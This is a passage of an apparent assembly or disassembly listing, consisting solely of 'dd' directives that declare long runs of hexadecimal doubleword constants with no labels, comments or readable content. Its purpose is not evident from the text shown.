		dd 6029716h, 80AE6CF3h,	3D262BDCh, 8C7D0029h, 1510EEA9h
		dd 5A00B546h, 0DA571164h, 56E7ECDh, 6771ADB1h, 52BA8016h
		dd 550023EEh, 51733F27h, 9C6342Fh, 7B071A80h, 13E61300h
		dd 90076DAFh, 0FA2081E7h, 5B600317h, 14EF9B68h,	88D6703Dh
		dd 0FE807A39h, 7117DC20h, 580009D2h, 4487F9EDh,	36DA9Bh
		dd 785E3153h, 0F2F909Ah, 0D92AD00h, 3867852Ah, 483E7CB3h
		dd 0FB16E6B9h, 0B4AC0096h, 0FAD52A0Ch, 9E89D000h, 4972FC2Dh
		dd 0AEBA00D6h, 0B1DCCE53h, 0FF00BC20h, 0AE3D9E1h, 0F2BB5B8Fh
		dd 37074C0h, 87B5A40Dh,	40EF0177h, 64758081h, 29CCB41Fh
		dd 394DBBC0h, 0F2F62B2Dh, 63D40011h, 17C0E3B1h,	4E0022F8h
		dd 85A2F0A5h, 73A1D6Ch,	6D5CB85Bh, 0DAEAADh, 94167287h
		dd 7D0095BBh, 0DACE09C5h, 3FF81C3Eh, 0BA00FDE2h, 8CFF2D0Fh
		dd 354C3DFBh, 5BC7008Ah, 0DA617F14h, 3CA207B7h,	0D0BDBE02h
		dd 73199757h, 5069C401h, 0BA7ACC38h, 0AF8440CAh, 0BB158892h
		dd 1F6DE61Ch, 14561C40h, 98412BBCh, 48F6F41Dh, 8B0080F5h
		dd 32C171A5h, 123FB833h, 3CA78097h, 0F5FEDFB4h,	0C0AB00DCh
		dd 598D3A79h, 391D3FAAh, 0FB805BFAh, 0FF34A8ADh, 0C9010068h
		dd 2F32154Eh, 0AC7D4D92h, 7DEF7800h, 5033E3Ah, 988B6F4Ch
		dd 0F9336600h, 8D60FCABh, 6449E20h, 0BF701F22h,	0B969002Bh
		dd 0A8208A7Fh, 568E6E03h, 0EBCB49CDh, 0CCD803E5h, 0C08622D8h
		dd 883C9788h, 7657AC00h, 0BF482BAFh, 25E97620h,	0D003150Ah
		dd 64B03A71h, 5101473Fh, 6306BA5h, 0DD20DC4Ah, 5CA44C3Ch
		dd 0E427620Ch, 29005761h, 7C5895DDh, 33D30B6h, 5FA977A4h
		dd 0E0C79D3Fh, 18271D36h, 0C08A0C00h, 0CDBAF2E8h, 562414ECh
		dd 0EE00B435h, 3170376Ah
		dd 0C5391A41h, 5E3080BFh, 55CC96FFh, 0D11500DAh, 9E31F71Bh
		dd 3700691Eh, 7DC440CDh, 0AFEDCBh, 368AE4DBh, 87B23911h
		dd 0D40D9F00h, 0BE623115h, 0C147007Bh, 0E7CB962Dh, 740051DCh
		dd 5FDBBBC0h, 8D7C10h, 77C82273h, 455A4687h, 8365AB00h
		dd 82D30260h, 6A230355h, 1595D5BDh, 5FC5B4A0h, 74091100h
		dd 0DA7A89B7h, 0CDA2078Ch, 906F8134h, 31C6190Fh, 0B90B0EEEh
		dd 80EE8673h, 0FE9DA754h, 6AD61C45h, 0A067C1F6h, 40A328DDh
		dd 0D7AD92ACh, 5842E900h, 6D4197B0h, 87FD017Eh,	0B72A4756h
		dd 39B2C021h, 25187948h, 0D06CA01Ah, 7003F942h,	9D9600BCh
		dd 628F9583h, 124EB04Ah, 4C845801h, 0DC50CA41h,	1EB492h
		dd 0A42A4DA1h, 0BA8DE42Dh, 58F1BC00h, 476CD693h, 89B00080h
		dd 0C04C11AFh, 6400ED96h, 581004C4h, 0A69901Eh,	7CF91856h
		dd 323A01DEh, 74D962B9h, 0B2141558h, 0A4C950h, 0F7C23C49h
		dd 0F93A020h, 0A387BF33h, 50DDF60h, 89E5647Ch, 0C3BB4599h
		dd 0AB2EA058h, 5942050Ch, 0C76A5392h, 0C9E250FFh, 730057DCh
		dd 0FFB2F423h, 37591378h, 0A0389E48h, 7BE45A71h, 35B380Eh
		dd 0BAA9C744h, 27D51Ah,	0B4A28748h, 4A300313h, 0AF38B61Ch
		dd 62230EFh, 0D2017BAEh, 0F1FD4B55h, 918EC166h,	8D692928h
		dd 5D3C9420h, 0F9240C06h, 0E300324Fh, 0C27883C5h, 7C9324BAh
		dd 876685A8h, 0ECB10303h, 0F8C8AC15h, 280120A3h, 0D3ABE29Ah
		dd 70EC87A9h, 430D008Ch, 322D9724h, 92FCD0A4h, 2F39CB26h
		dd 3CF3B200h, 78885D43h, 47300A0h, 33C1DA80h, 700E3266h
		dd 0E016DB24h, 0D1BEFCCBh, 1EE41DE9h, 0A90C408Fh, 0DA7F3FB5h
		dd 86882E00h, 0A4DFCCFDh, 2FA501A8h, 7E0BB27Dh,	6F7680AFh
		dd 0DF8A2816h, 4D8F0097h, 86541051h, 5250BB4Bh,	1E7A48BDh
		dd 515748h, 4CAC309Eh, 636884h,	0EB0AAE46h, 1BA796DAh
		dd 7500487Dh, 2EBF3F30h, 2A297Bh, 0EE18EC11h, 0DCA468Eh
		dd 917CB900h, 36E47339h, 0E5DE005Dh, 60797768h,	0C800CE0Bh
		dd 968F72B4h, 752A22A4h, 12D20059h, 0CA6FE98Ch,	9F606A40h
		dd 88EC6860h, 4A90008Eh, 5C1BCF54h, 37ECBC15h, 84FE2400h
		dd 6855F179h, 0E7DA1C2Bh, 0FF708CF9h, 328C718h,	0D60BC013h
		dd 80C9A81Eh, 29D4EE72h, 87A007Bh, 3B50A197h, 77D783Eh
		dd 62FF1C0Ch, 445A28C8h, 714575E1h, 0B51179D9h,	53561080h
		dd 107C7ECCh, 7CA53469h, 3106E020h, 0A279E760h,	825511EAh
		dd 107E6211h, 142FA32Bh, 149EAE98h, 5128EC19h, 65E9088Eh
		dd 48A7963h, 5E323914h,	3E511198h, 99F50679h, 0A1C586AEh
		dd 0F628CB50h, 9B2E14A0h, 0ED92A1C4h, 5660C044h, 4D29FF18h
		dd 9BBC08BEh, 5981CEAEh, 0A9041D30h, 6ECB60h, 0BC10CF9Fh
		dd 1AB49C43h, 0F293E900h, 761BAA29h, 0AE9E3F35h, 82A35880h
		dd 98E8B271h, 569D9B00h, 93D8677Ah, 188E0086h, 3104387Dh
		dd 792C5A70h, 74002F02h, 53AAA646h, 0FEA7004Bh,	0BC1E542Dh
		dd 8D1D413Eh, 78BA01A3h, 364829EEh, 0AD9C00EDh,	80E8BE56h
		dd 8CC50015h, 0ACE7716h, 0BC009D7Fh, 0EEFC33C2h, 793EDF5Dh
		dd 255C0039h, 168769B6h, 350051CCh, 8A550BACh, 0EEDF4C61h
		dd 0F28C0ABh, 0D9F98E03h, 95B34407h, 0FF915689h, 4820331Dh
		dd 0F3F000CCh, 119F86E8h, 2D48ECDCh, 27730052h,	99D798FBh
		dd 69E0068Ch, 48687BB1h, 28576CA0h, 9DF98802h, 4841E559h
		dd 94B870h, 0C9349AB2h,	3C2A0249h, 0F5258700h, 525468E2h
		dd 12730361h, 0EFA3B1A7h, 0B93A7EB0h, 0BDAFD303h, 0F0B62B76h
		dd 0CF038Ah, 1557E1F4h,	0C0190BF8h, 0CAADE400h,	0A51FEE97h
		dd 0FB41031Bh, 0A9C74DCCh, 51B7F000h, 0B36CCF4Bh, 0F120063h
		dd 0B6ECE464h, 0CE007F4Eh, 40726713h, 1CBB8BBCh, 808C6B99h
		dd 1E019EFEh, 0EF1F7FC3h, 0C40C189h, 0F4B45660h, 189500D8h
		dd 1DEBD0CCh, 41390F93h, 0EE9100ABh, 0E10E6F26h, 1F44F282h
		dd 8073DE1Ch, 97551BD8h, 6DF4BD3Fh, 0D6B078C0h,	0EC32478h
		dd 8E964B6Ah, 2F8A6240h, 0F30084F8h, 3E8DEDFBh,	0EC46FBEh
		dd 0AB5AB7BCh, 0F08C1920h, 0F400145Bh, 0F2166A8Bh, 5E6852h
		dd 0DAD3ECE7h, 0BD25609Fh, 62661E00h, 28A315B8h, 71413F21h
		dd 0C2071300h, 5C9531A8h, 476020FBh, 3000DE77h,	0D999D466h
		dd 74FFB1h, 0C643B65Fh,	11F394E2h, 8203D2FCh, 44D8C9A6h
		dd 9769D864h, 1C79D5h, 4C0E2608h, 6FBF6B7Dh, 7BE3EB0Bh
		dd 21EC86E7h, 49E430h, 3A207C16h, 2FECC3Dh, 0C327A400h
		dd 0E8A5CB77h, 0E263001Ah, 0B4DB29A2h, 6513D333h, 9A0194D5h
		dd 458B8458h, 482F2820h, 96AC71h, 204CD55Dh, 3C1F3FBAh
		dd 6CC00CE6h, 8BBFCA34h, 0AA600153h, 2F25047Eh,	0F811DCD5h
		dd 0F40092F0h, 2EB2A7B9h, 4C772C6h, 0CA204EEEh,	704C8056h
		dd 0E1007853h, 0C0366E39h, 0B1950Ch, 947FF49h, 0B877044Fh
		dd 0CC07EC72h, 9B905413h, 0F6194E20h, 0BDD61337h, 4BE000F9h
		dd 25867A6Fh, 0CD71D11Dh, 58A96C2h, 0B0B4C067h,	839400DDh
		dd 8C6DBD4Ch, 301C463Ah, 88400D36h, 0F51945D3h,	3AFAEA95h
		dd 1A80E832h, 9DAFBDBFh, 0CAFAC79Fh, 76C5101h, 8AF48806h
		dd 41DC8C50h, 935C003Bh, 6985E182h, 5B078453h, 0EA2C67B6h
		dd 980E5D50h, 56AC0063h, 38C96EFEh, 0BB00DF37h,	0C0048628h
		dd 0F0570D95h, 0FBE40769h, 0A021E682h, 253A744Eh, 64CE5E34h
		dd 8690FC07h, 0AC8342A5h, 8C308015h, 9CE60FC2h,	0DF40D97Ah
		dd 0EA7B349Dh, 86764D3Ch, 6CF18DB7h, 6B260710h,	81C79B05h
		dd 0DBA64CE6h, 872E75A0h, 5DC03400h, 3CFC608Dh,	0FDB400CAh
		dd 3FAA7473h, 13EA161Ch, 0E56DF000h, 0C4FEFDAh,	0DCC20076h
		dd 66C494B2h, 0D400D9A1h, 4F25335h, 783D48F3h, 797C0038h
		dd 0C48D92EAh, 0C600DD0Ch, 789970AFh, 9C2110h, 5933E86Bh
		dd 0F66D45D0h, 0F10C4900h, 964A3BF4h, 0B573584Bh, 40A450h
		dd 1EBC77AEh, 766D2946h, 0DDDE001h, 0CF78211h, 0A98C30h
		dd 66F4C1F0h, 0BEEEEF6Ch, 414F9300h, 5FB2B362h,	780F0022h
		dd 0DFF04D45h, 0EA003E98h, 830CCF4Ah, 0DC5A4h, 0AC78AA15h
		dd 191B8C66h, 9B54D00Eh, 2AD4E172h, 2430E1FBh, 0F95900FEh
		dd 6C9F8F50h, 0A900CEB9h, 0FF26CFF6h, 3C7299E5h, 2285CA6Ah
		dd 0EED6EF69h, 0C51F4D05h, 0C0EA2680h, 5C7D00C3h, 456BB162h
		dd 0F40724A8h, 99962D67h, 0DC15811h, 484D3BE0h,	5F00700Eh
		dd 0B489D087h, 0AE008184h, 0DA44F8A9h, 3091C0h,	0FDDE13Eh
		dd 1AD347CDh, 1FC1700h,	0AF2615BBh, 58381E14h, 4EEC0092h
		dd 6A4A10B4h, 40D1C104h, 71C043AAh, 7C9ADBB5h, 5DFE0046h
		dd 0F32BF54Bh, 7FE626ECh, 0FE31538h, 5F5E2DCFh,	25B71E43h
		dd 0AD60B9D8h, 0C0CCD3EDh, 5C13006Ch, 2F827FCEh, 8E1402B6h
		dd 18756F0h, 20B958E8h,	0EBD09CC1h, 0A04A3B34h,	0C026B000h
		dd 0DA6EFFA7h, 0E2147207h, 7738CECh, 21C6C0D6h,	85F53973h
		dd 770FEF80h, 7A59115Bh, 110010D2h, 3D203810h, 0D7CEEh
		dd 9564F42Dh, 0BEE84834h, 3F425700h, 0D5F0FB94h, 13460084h
		dd 344D9D02h, 69011F6Bh, 0D7A81A8h, 0ABFC77AFh,	0F260EB2h
		dd 61873DF5h, 188D81ACh, 63FC40C9h, 8A01EB8Bh, 95A04FF6h
		dd 52EC01C4h, 0F1810018h, 0CE648885h, 7B0083ABh, 34FEFCA2h
		dd 3BF74C51h, 0F2005284h, 3B5C77DDh, 0F3000D80h, 5FD7575Dh
		dd 0B8A7EE2h, 0AB238DA7h, 98E73D80h, 45E0F86Dh,	0F1FAC400h
		dd 0C8F4ED10h, 3DD0015Bh
		dd 1E89C76h, 0DD67DDB0h, 0EB18EC61h, 0A9DF1C0Bh, 0CEA38075h
		dd 0A2BD8B8h, 3DE19AA2h, 4A1100B4h, 0FD18DD14h,	0AF6D1D00h
		dd 0EF5023F7h, 0A14500EBh, 0B39FE9CAh, 0BC0E0889h, 0E0BF141Bh
		dd 583909D2h, 1C92DAh, 28213472h, 0F49B424h, 808DFD3Ah
		dd 0F329F9E9h, 9AC0586Ah, 0E07ACCh, 92EE5D2Bh, 5F02A711h
		dd 8010943Fh, 0AE1D158Ch, 0DC8E5h, 863F4097h, 0CEC0834Bh
		dd 0C101DBEEh, 16F91F7Fh, 62D88E47h, 0BD7D0EB5h, 0DB60B9DDh
		dd 13AD6E23h, 8F36B70Fh, 56AE2043h, 385853A7h, 0C3001089h
		dd 8CBF84A5h, 4405ED9Fh, 38B47BB0h, 0CF7CB0C0h,	0D1700B6h
		dd 1DAFAD0Eh, 893A2B94h, 6900704Bh, 1E4C78ABh, 200BF4h
		dd 9615EA9Bh, 0BCD3C970h, 26CABB05h, 2080623Eh,	77B74h
		dd 249B946Ah, 0D7459D65h, 0EBB3BE00h, 4B548FFBh, 0A4850386h
		dd 0B63E7A09h, 79676B88h, 0A1785200h, 0D8FB4C18h, 23630029h
		dd 0EF02ED43h, 0E77361Dh, 4DF2400h, 0E619BC6Eh,	62500095h
		dd 5E263C4Fh, 0A0008332h, 6946718Dh, 1381123h, 0FD6ABFFAh
		dd 85D121A5h, 0D07E5290h, 17FF54C0h, 287200ABh,	386B54D9h
		dd 8D00EB4Eh, 0A246BB8Ch, 0C0F427h, 0E06A999Dh,	6955B459h
		dd 24169C01h, 743518DBh, 4702F8F3h, 0A9C20F78h,	6780B643h
		dd 7C2197E8h, 3C41ED1Dh, 5E809600h, 3BA80750h, 24F37EA2h
		dd 0A4D554h, 3867EFCFh,	0BA00A0FEh, 661499ACh, 3FBCE5Bh
		dd 8A4204CCh, 0AD803F96h, 8607F9B2h, 88DAC251h,	1ABDF160h
		dd 915F0F03h, 43807BC0h, 39E43069h, 0A2BADE0Eh,	0A49061E7h
		dd 22FC486Ah, 9A071CBCh, 8100F855h, 1365DA37h, 7100D29Ch
		dd 0D79703F5h, 2151ADBh, 0CD797F9Eh, 0C44E820Ch, 3FBD0200h
		dd 88E54E3Dh, 3C310017h, 0EC27E8A4h, 7C00FC0Bh,	0CD2E2ADFh
		dd 0B84AEF5h, 0F80A7544h, 26687380h, 85009E8Ah,	6AB68E2Eh
		dd 403BC3h, 5C9315BAh, 0D5192247h, 0D1FEE000h, 0D6B93F50h
		dd 707114h, 101B460Dh, 0FF458F19h, 5988840Eh, 83760035h
		dd 89EC9Ah, 5CCF21B5h, 3ACE807Dh, 35E7D501h, 8E8C18CDh
		dd 4B23F4h, 0FABE46Ch, 0A79D30C7h, 72D3E600h, 298EBDFBh
		dd 43AD0516h, 0CC17CEBCh, 7558E8F8h, 0D9070072h, 4905F192h
		dd 1A2F14DBh, 9A07949Bh, 60E733B3h, 41D3DF02h, 319900B7h
		dd 772CA122h, 3B4E26CDh, 87A40127h, 0EC61F243h,	9E0090DDh
		dd 468C29E9h, 7FD59B5Ch, 0B495030Bh, 27D8970Ah,	52FA0EC0h
		dd 5C476824h, 0DF13E101h, 8DC41F5Dh, 71841FF5h,	2F190006h
		dd 0D3F831ADh, 272348h,	0D672DD04h, 2CA2E0E8h, 96A87ABh
		dd 6743F8h, 42387670h, 4C3C54DEh, 48E24200h, 7D6B519Ah
		dd 5C7112h, 0ACF396A0h,	7662DB0Dh, 50EEE100h, 11CD7BDCh
		dd 0FF7000E0h, 0EB3E408Bh, 57019AF8h, 51FAE6D0h, 5BE4F5A6h
		dd 0ECDC0013h, 0C4AF892Eh, 4EB06F1Dh, 9D211900h, 1F77320Bh
		dd 6B230002h, 0BDF091CFh, 35004BCEh, 0DA92B062h, 0F6CD2F43h
		dd 323A0FD7h, 0AD832C4Ah, 0CBA0A23Ch, 71242A29h, 0F007A4FEh
		dd 559283C4h, 30094080h, 0D0050085h, 0F728D6D5h, 0F89706BEh
		dd 0BBF4125Dh, 0F6080099h, 9089483Ch, 0EA973Ch,	0DF25789Bh
		dd 0A3FF784h, 6D531BAh,	15420FB2h, 0C380F1EBh, 0B78BE230h
		dd 0DA3EE00h, 4CF28CEFh, 5F7D09E8h, 3880D095h, 9D8A611h
		dd 9DE4700Ah, 0F0808434h, 0E50CBBCEh, 7911D93h,	0BFB0C0D3h
		dd 1B49FE99h, 46685300h, 87AD6F42h, 6B46C0D5h, 0BF0967C6h
		dd 19012900h, 229DEB1Ah, 0B4AE0027h, 6A383BAh, 0CA07AA67h
		dd 3C6EC2E2h, 845C879Eh, 433118D0h, 0C4905Fh, 737011EEh
		dd 0E0DB2BA5h, 8F303Bh,	0EA1A10B1h, 0E2FAE9Eh, 6386AF0h
		dd 323F4A0h, 0B00DA4Dh,	824EC16Fh, 1CAB86h, 0F2835DB2h
		dd 449338D8h, 7C0FD903h, 88DC9989h, 1C747984h, 0E6241F83h
		dd 8CF075Dh, 413C9226h,	36FCA840h, 0DBCCDC2Eh, 0A0BC3E0Fh
		dd 0C8EFD4ACh, 897906D5h, 4802CB74h, 904A9F02h,	0C3A409EBh
		dd 54FEC021h, 2C930075h, 5869E9A3h, 981E4C8Bh, 0EF17467Ch
		dd 17F3E600h, 0B763DFh,	0EC8B2F56h, 0CC9BB349h,	8E67A405h
		dd 708022C3h, 0D65344h,	0BD66E147h, 800892A8h, 0F4904900h
		dd 27DB8DF3h, 0BA0500DEh, 0A2F63C9Ch, 1200545Ch, 0C6885F17h
		dd 0E547E9h, 0EC2F9189h, 0CD1E4A2Dh, 0E65D8503h, 88EE7115h
		dd 0E490C40h, 1DC9D3F3h, 0D22E9981h, 93B32085h,	0F80938B8h
		dd 80FAA4CFh, 993B792Ch, 0B20A001Fh, 667219CEh,	6F583D06h
		dd 338917D7h, 21561C00h, 909B5A2Fh, 976E002Fh, 1791F6CEh
		dd 2C00275Dh, 0BDBAD086h, 9CC97CD3h, 0C688004h,	0E05A67C5h
		dd 0F218360Bh, 0CB1800C3h, 5578401h, 0E665D471h, 1B50D0FCh
		dd 0F409E1D0h, 628679h,	0BE053A20h, 3885F767h, 0A18CE002h
		dd 1779DC00h, 0EDD31916h, 0A3EC71F1h, 0B52803A2h, 0EBD08E33h
		dd 0A0669090h, 8004F13Dh, 3B24B14Eh, 74C649C1h,	0CC4D0087h
		dd 0CBDF23Dh, 403FE6D9h, 894F0068h, 0FF39C625h,	0D4DF0636h
		dd 90FBD3E4h, 10F74517h, 489AA040h, 0DEE3Bh, 726BE2DFh
		dd 946CC89h, 7AD32100h,	0F62582D8h, 7E2D0010h, 50E3C0Fh
		dd 0CA006B57h, 8FC3AD4Ah, 3D8014ECh, 0DA0074BFh, 0F8A5E25Dh
		dd 637EA392h, 0C3724E03h, 0C943BC64h, 0F42095C6h, 28FC0160h
		dd 0C96FF8FBh, 0DAB43067h, 91C3C400h, 9F71043Eh, 734400A9h
		dd 0CB9A49B5h, 5D002572h, 26EC2D2Eh, 905C4FF1h,	464C0004h
		dd 1A227EB1h, 9E07B825h, 72DBB687h, 3569602Eh, 23CBF98h
		dd 0E8D9C5FAh, 8441F521h, 5000206Dh, 6154CB00h,	5133C202h
		dd 4638008Bh, 97BDEAACh, 0FB0716DEh, 1CE18413h,	0ED63EC00h
		dd 2F681C75h, 89A79F4Ch, 0F100A2F7h, 4E5CD2CEh,	8076DB3Dh
		dd 0AE797DCAh, 0F8CF6Ah, 69D890B7h, 0D3CCA186h,	0F0BC5B00h
		dd 4B53AD5Dh, 963D0E6Dh, 0D840DAB2h, 8E573185h,	0BC82EA1Dh
		dd 403ABE00h, 1E223E87h, 40FC745Fh, 0CFAD0CA0h,	0AA2D118Bh
		dd 0BB808060h, 9BD771h,	817413BCh, 0C53CD463h, 60983900h
		dd 0C7538C7Dh, 54350010h, 71AE9CF1h, 0C0F6FE1h,	402A81FFh
		dd 7C4BBC91h, 44B01DE2h, 0D3ED8259h, 1C406F9Dh,	1E0FB928h
		dd 0C4F2D978h, 5DC0D740h, 5B985F50h, 0DF5805F9h, 2704808Bh
		dd 59169DFDh, 30826AF5h, 93F030A8h, 880B2530h, 9B10CFDh
		dd 0D91466A2h, 884FCF0Eh, 0D886D406h, 0FEE6E800h, 89FC3826h
		dd 5B583E4Fh, 6057A4h, 3730C484h, 0BE13591Ch, 0DF003EF5h
		dd 0D734FE14h, 0DDB90069h, 0B465F4ECh, 9B1D7D44h, 0F00C8F0h
		dd 66B01FF8h, 53E5A07Bh, 0A0280ED3h, 3CE631h, 34F8C974h
		dd 597F8236h, 0A88E6A06h, 1250E2DCh, 1100854h, 248D74EFh
		dd 4434F0D0h, 0A92B2703h, 903BA8D9h, 0B4C56C0h,	10C572DEh
		dd 0C82F5B00h, 9A0035BDh, 5ED11146h, 1B41797h, 8FCAB129h
		dd 70D6A1F6h, 216CF03h,	9803CC5Dh, 90B41ED7h, 3F48B5h
		dd 0CEE275A2h, 1F247E4Ch, 16ABF600h, 38F729BBh,	700A006Bh
		dd 0C019D876h, 0F100FF27h, 0DD3C5258h, 443295h,	70B7FD08h
		dd 0BF6E191h, 0B80F9700h, 13CD68CCh, 34D32E5Bh,	584A00C4h
		dd 0A3FC48E4h, 0C910280Eh, 9B81E360h, 0A8D0B0E8h, 3F5612C7h
		dd 0C06813BFh, 0BB019690h, 72F448h, 3E5274F0h, 0AEC418h
		dd 0F18847EFh, 0C636AD0Ah, 16890300h, 797C2178h, 7CC55809h
		dd 9F979Dh, 66118964h, 863DB407h, 4C00FC82h, 617E5CB5h
		dd 90B69079h, 0B4DE006Dh
		dd 4BA140A3h, 4900FDC4h, 0FE2330FCh, 4D715D84h,	0DF00745Ch
		dd 0EC68505Fh, 60C355B1h, 0E09449E8h, 1DA77EA4h, 40FCB96Dh
		dd 331207EFh, 640FDB1Eh, 0C0D055E9h, 141D0D4Ah,	0DF750346h
		dd 0FA6513EBh, 0AB71E0B0h, 4021CB07h, 2770B3B9h, 0B82AE1h
		dd 0FF4F9389h, 48675F5Eh, 51ADF700h, 0BE137C3Fh, 0E3850B8Bh
		dd 0E9006911h, 23A28F41h, 0DB31CF03h, 0B82442F5h, 4F80DD49h
		dd 0F340BB5h, 4CDA6782h, 406CDF40h, 0AFD92400h,	4AB17A71h
		dd 34850F3Eh, 8E202067h, 0F433DD3Ah, 4765EC01h,	0B99CB3DBh
		dd 3E9883CAh, 9048D8C4h, 9009F020h, 7930027h, 33B370F8h
		dd 8A76DA96h, 3F7B0B3Fh, 1371001Dh, 6CC04A1Eh, 4F670341h
		dd 10B3A803h, 7460FECAh, 7B4A4BD6h, 15548820h, 20B5002Bh
		dd 9F239D1h, 3104FF26h,	9C2AB714h, 0B04A34C3h, 98EB24h
		dd 0C0F0091Ah, 58022E38h, 8D40C200h, 0AE0BE8F7h, 0D77F2E0Fh
		dd 8ED40470h, 9C188032h, 0DE008446h, 0A68DDAA9h, 0E5B97Eh
		dd 0D5236BDBh, 0A45F0B87h, 7AAAD400h, 4A741D85h, 99E6005Bh
		dd 0B9D2BC58h, 0D113922Ch, 15007B35h, 4A229C47h, 0DCAC0EAEh
		dd 0BBA07721h, 5A23C34Ch, 0C2329907h, 0F8F0B0BEh, 7277A87Dh
		dd 656A58D0h, 0C1C6800h, 0C4D3B4F5h, 0FDA31403h, 0C04DA6E1h
		dd 0F4DD7263h, 3292030Fh, 0D63E3537h, 0B8414688h, 97D1DE3Fh
		dd 0AD0336D8h, 0D0D27618h, 2472B7FAh, 0A69F2Ch,	6736311Ch
		dd 0C141710h, 0F3F619h,	0E7F23B8Bh, 5162A6h, 1E25D20Eh
		dd 0D91101B8h, 84386600h, 43F4A7C5h, 756300B2h,	8DA0FEEEh
		dd 7700FB0Eh, 0E2D13565h, 391CED89h, 200F286h, 9E4AF9A0h
		dd 65009518h, 79ACE04Ch, 143BA72h, 0E8440B71h, 20EBD986h
		dd 2E7C0342h, 2123E30Eh, 447460A6h, 0F638F3h, 0B0F55A99h
		dd 8C29C59Eh, 0BD4FCA1Dh, 0C4AF330Fh, 5BC06E98h, 0DB16C7h
		dd 0D1E6A95Eh, 0F51AD48Dh, 7B009772h, 27998089h, 29DB87h
		dd 4F2A1E36h, 97D7940Fh, 789E0414h, 0C50E738Ch,	60A14C9Ch
		dd 5EEA915h, 0D21F00F9h, 2357582Fh, 8900A863h, 0D8D4FC3Fh
		dd 7A5F55h, 0D18E4C71h,	0C881F3A3h, 86787E07h, 14F3388Fh
		dd 0E03EA722h, 5888BEFDh, 50730096h, 617DA352h,	4000F72Dh
		dd 4D1767F2h, 11E3021h,	2F060807h, 0F97FA26Fh, 3F816A23h
		dd 8CCC9350h, 343200AAh, 0BA1F9ED1h, 15007FC0h,	275880EDh
		dd 0D59F25h, 9BBD2FDFh,	30D985CDh, 989E8A0Fh, 558BE2EAh
		dd 0F800C0D1h, 0C7FF69Dh, 88D00A70h, 620B2649h,	5D4127AAh
		dd 0E45B3200h, 0B203A2EEh, 9F434429h, 5CC2E098h, 116E00A0h
		dd 3277BAB5h, 0D41E9BAFh, 6F807B07h, 0AE356742h, 0B45800B2h
		dd 80F556BFh, 713E1C6Dh, 0A1BB8007h, 0B84B948Ch, 8D451A2Ch
		dd 0C8401872h, 5100820Fh, 44D0E06Bh, 0E968E1h, 3D8E6EDFh
		dd 1DB9A4B8h, 0D478A6EAh, 0FDA2C605h, 0BC003AD5h, 89B1EE85h
		dd 0E1F89Bh, 0A06047AEh, 0F392D51Dh, 224B9900h,	9EC55850h
		dd 2DE500A5h, 0A4BD602Eh, 0A8005932h, 930469CBh, 0FC55F2h
		dd 3FD452B5h, 0B2384F9h, 0F351C100h, 53F7D86Ch,	990938D9h
		dd 0FE720F80h, 0E2C80A95h, 63F5C400h, 0FCA77FB4h, 773300F3h
		dd 56442D7Bh, 0F4007EDDh, 6AC862D6h, 0FFB21C1h,	38615927h
		dd 5B109560h, 0B5008550h, 0DEA7F186h, 7363DBE7h, 0C41400A0h
		dd 6D71558Dh, 0F412628Eh, 671DA9BCh, 0B86C2100h, 1FF98A4Ch
		dd 0C0B4A6CDh, 1860B3A4h, 7703BE0Eh, 25A185EDh,	47A3A8FCh
		dd 834D0A93h, 28BD3228h, 0C31005Ch, 1091FE6Ch, 2A7319ECh
		dd 0EE784200h, 0EA59CA48h, 1A7FA24h, 2687C08Ah,	0DCDF3765h
		dd 18C40B2Ah, 0B380091Ch, 48B98128h, 2407BA66h,	0D0F32B2Ch
		dd 3E7E91BBh, 740034E2h, 0EE3B0569h, 0FC979F95h, 82920C9Eh
		dd 67407501h, 4963B700h, 0D14E5583h, 3B2672A7h,	0C00333CBh
		dd 0E5863D90h, 0D36F808Dh, 0B900C49Fh, 6A2C3F5Bh, 0F478C24h
		dd 0B3F93832h, 0D07B2607h, 3942E57h, 0E6291D01h, 0DCC2008h
		dd 218F1CCh, 0A73110F4h, 46C04961h, 6005F8Ch, 9AACA6F2h
		dd 0AF126Eh, 0B7D42319h, 6B3C4496h, 97D4C00h, 0BE37410Ah
		dd 980875C8h, 0B918076Fh, 0C0306964h, 39534B10h, 0C6235003h
		dd 0A875257Bh, 0E69F0DDh, 9256B70Bh, 0E0EBACC1h, 1440F4D8h
		dd 17A1DE03h, 0BAB45F5Ah, 2ED7802Bh, 0F3301BB2h, 0EB6E2F4h
		dd 0A55B696Ah, 0E97AF2C0h, 795C21B3h, 0A1A3001Ah, 4B57CB51h
		dd 0FA7801D3h, 0B2ECDFD2h, 0E46EC914h, 31007D48h, 1CBF115Eh
		dd 0DA322Dh, 50DE0C25h,	5FF3FB57h, 83607200h, 0E616B204h
		dd 9C1B00F0h, 3ECA8637h, 8B00EFD1h, 0DC038069h,	0F50F93h
		dd 6AA50DCFh, 4A63AF15h, 91A77000h, 0EDEA8D8Fh,	875075Eh
		dd 20379058h, 1CA5A436h, 8212FF01h, 0E8D3165Ah,	69ECE0DDh
		dd 0DBDD00ACh, 26B2719Bh, 7B038764h, 6CD80BC7h,	0F1200088h
		dd 6BE742F7h, 0C800AAFEh, 0B8D44E45h, 8AEEB1h, 5FB634B2h
		dd 9C40F16Eh, 39004CE8h, 0F7F6216Ch, 509582C8h,	0E4E05Dh
		dd 0CA65D37Eh, 76F37A9Ah, 54774FE0h, 2001E37Eh,	3AD72802h
		dd 51D4B233h, 0EF9E001Ch, 921B2656h, 76F8BA7Dh,	0AF3AC801h
		dd 7F0061Dh, 8556ECh, 8F7EC011h, 2E1FE583h, 1B00927Bh
		dd 0D65CF5B8h, 7AEE7D82h, 0AA393A6Eh, 88E8CC80h, 9889AF09h
		dd 600111FCh, 0B51DB615h, 2424DD05h, 0F48D0CDEh, 2119080h
		dd 18408E04h, 2C803923h, 80DBE414h, 2600DEE7h, 654ECAE9h
		dd 31C9DA3h, 6AAC07FCh,	0C5A0ED1Bh, 1F00CDD0h, 9B0F38ABh
		dd 2E089D2h, 6B48D4EBh,	6415D78h, 6798CBBDh, 66006321h
		dd 128095B2h, 1F3AC85h,	628481Ah, 0E43AFE40h, 7D506D46h
		dd 85002795h, 0ABBA3B4Dh, 142452h, 135070A0h, 0BDFE90D7h
		dd 0F3A5AE00h, 0E883734Eh, 0EDF51C28h, 0E6A4002Fh, 1B9057D4h
		dd 2D46D500h, 0BA2699F8h, 4A3100ACh, 7B8307CAh,	5DF88D80h
		dd 8644FF04h, 90C0F620h, 0A3892805h, 1B30C8ECh,	256F00ACh
		dd 8B4D6CDDh, 77000CE1h, 2EC09D1Ch, 488C38h, 92C3E42Fh
		dd 1D72697Bh, 5C8B5B0Ah, 3A18F287h, 0FF02122h, 119EED41h
		dd 0A5F80017h, 972C75B4h, 0B934D13Dh, 62C284D3h, 80800FC9h
